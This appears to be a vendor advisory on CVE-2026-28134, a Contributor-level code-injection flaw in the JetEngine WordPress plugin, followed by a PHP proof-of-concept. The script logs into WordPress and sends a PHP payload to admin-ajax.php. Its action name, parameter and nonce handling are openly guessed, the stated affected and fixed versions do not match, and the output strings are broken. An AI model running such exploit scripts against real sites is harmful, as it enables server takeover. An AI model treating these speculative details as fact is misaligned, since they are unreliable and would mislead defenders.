Atomic Edge analysis of CVE-2026-28134 (metadata-based):
The CVE-2026-28134 vulnerability in JetEngine versions up to 3.7.2 represents an authenticated remote code execution flaw. The CWE-94 classification confirms improper control of code generation, indicating direct code injection. This vulnerability requires Contributor-level WordPress access (or higher) for exploitation. The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H) confirms network accessibility, low attack complexity, and high impact on confidentiality, integrity, and availability.
Atomic Edge research identifies the likely root cause as insufficient input validation in a plugin function that processes user-supplied data for dynamic code execution. WordPress plugins with CWE-94 vulnerabilities often misuse functions like eval(), create_function(), or allow direct file inclusion with user-controlled parameters. The authenticated requirement suggests the vulnerable endpoint resides behind a capability check that verifies Contributor privileges but lacks proper input sanitization.
The exploitation method likely involves a WordPress AJAX handler or REST API endpoint. JetEngine, as a page builder and dynamic content plugin, probably includes functionality for custom field processing, template rendering, or dynamic query building. Attackers with Contributor access can send crafted requests containing PHP code payloads. These payloads execute on the server when the plugin processes them through vulnerable functions.
The fix in version 3.8.1.2 likely involves removing or securing the code generation mechanism. Developers probably replaced dynamic code execution with safer alternatives, implemented strict input validation, or added output encoding. Proper capability checks and nonce verification might have been reinforced, but the primary remediation addresses the code injection vector directly.
Exploitation impact is severe. Successful attacks grant attackers arbitrary code execution on the WordPress server. This enables complete system compromise, data exfiltration, backdoor installation, and lateral movement within the hosting environment. The combination of authenticated access and code execution creates a critical risk for sites using vulnerable JetEngine versions.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-28134 - JetEngine <= 3.7.2 - Authenticated (Contributor+) Remote Code Execution
<?php
/**
* Proof-of-concept for CVE-2026-28134
* This script demonstrates authenticated code execution in JetEngine <= 3.7.2
* Assumptions based on CWE-94 and WordPress plugin patterns:
* 1. Vulnerable endpoint is /wp-admin/admin-ajax.php
* 2. AJAX action parameter contains 'jet_engine' prefix
* 3. A POST parameter accepts unserialized or eval()-able data
* 4. Contributor-level credentials are required
*/
$target_url = 'https://example.com/wp-admin/admin-ajax.php';
$username = 'contributor_user';
$password = 'contributor_pass';
// PHP code to execute on target server
$payload = "echo 'Atomic Edge CVE Research - Code Execution Successful: ' . phpversion();";
// Initialize cURL session for WordPress login
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, str_replace('admin-ajax.php', 'wp-login.php', $target_url));
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url,
'testcookie' => 1
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);
// Check login success by searching for WordPress admin bar indicator
if (strpos($response, 'wp-admin-bar') === false) {
die('Login failed. Check credentials.');
}
// Craft exploit request to AJAX endpoint
// Based on plugin slug 'jet-engine', AJAX actions typically follow 'jet_engine_*' pattern
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
'action' => 'jet_engine_ajax_handler', // Inferred action name
'data' => $payload, // Parameter likely accepting code
'nonce' => 'bypassed_or_missing' // Nonce may be missing or bypassed
]));
$exploit_response = curl_exec($ch);
curl_close($ch);
// Check for execution evidence
if (strpos($exploit_response, 'Atomic Edge CVE Research') !== false) {
echo "Code execution successful.n";
echo "Response: " . htmlspecialchars(substr($exploit_response, 0, 500));
} else {
echo "Exploit attempt completed. Verify payload execution manually.n";
echo "Full response: " . htmlspecialchars($exploit_response);
}
unlink('cookies.txt');
?>
